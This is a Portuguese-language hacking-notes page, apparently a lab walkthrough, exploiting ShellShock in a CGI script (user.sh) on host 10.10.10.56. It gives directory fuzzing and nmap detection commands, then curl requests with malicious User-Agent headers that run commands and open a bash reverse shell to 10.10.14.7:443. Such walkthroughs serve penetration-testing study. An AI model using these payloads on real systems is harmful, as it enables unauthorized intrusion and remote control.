> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web-vulnerabilities/shellshock-attack/shellshock-user.sh-pentesting-web.md).

# ShellShock user.sh

## ShellShock

#### Procurar Arquivos Exploráveis

Filtramos arquivos com extensões como `.sh`, `.pl` , ou `.cgi`:

```bash
wfuzz -c -t 200 --hc=404,403 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -z list,sh-pl-cgi http://10.10.10.56/cgi-bin/FUZZ.FUZ2Z

```

O **user.sh** arquivo é identificado. Este script parece dinâmico e pode ser vulnerável.

<figure><img src="/files/9924df7fdf07641705ecaa0e61e32c834ae25e2d" alt=""><figcaption></figcaption></figure>

#### Detecção de Vulnerabilidade

Usamos o script do Nmap abaixo para testar a vulnerabilidade:

```bash
nmap --script http-shellshock --script-args uri=/cgi-bin/user.sh -p80 10.10.10.56

```

A varredura confirma que o arquivo **user.sh** é vulnerável ao ShellShock.

<figure><img src="/files/5176d0733016764f7325c4b1b0cf27757ab21158" alt=""><figcaption></figcaption></figure>

#### Execução de comandos

Para testar a execução de comandos, usamos **curl** com um User-Agent malicioso:

```bash
curl -s -X GET "http://10.10.10.56/cgi-bin/user.sh" -H "User-Agent: () {:; }; echo; /usr/bin/whoami"

```

Isso retorna o nome do usuário ativo.

<figure><img src="/files/2343c6b38f3bb24dd6a0e70712da37c52fab4b2a" alt=""><figcaption></figcaption></figure>

#### Shell reverso

Para obter uma shell reversa:

1. Escute na porta 443:

```bash
nc -nlvp 443

```

2. Injete o payload abaixo:

{% code overflow="wrap" %}

```bash
-H "User-Agent: () {:; }; echo; /bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.7/443 0>&1'"

```

{% endcode %}

```bash
curl -s -X GET "http://10.10.10.56/cgi-bin/user.sh" -H "User-Agent: () {:; }; echo; /bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.7/443 0>&1'"

```

<figure><img src="/files/36590d8991e57ada4a5c6e04684cbcda7e21188d" alt=""><figcaption></figcaption></figure>


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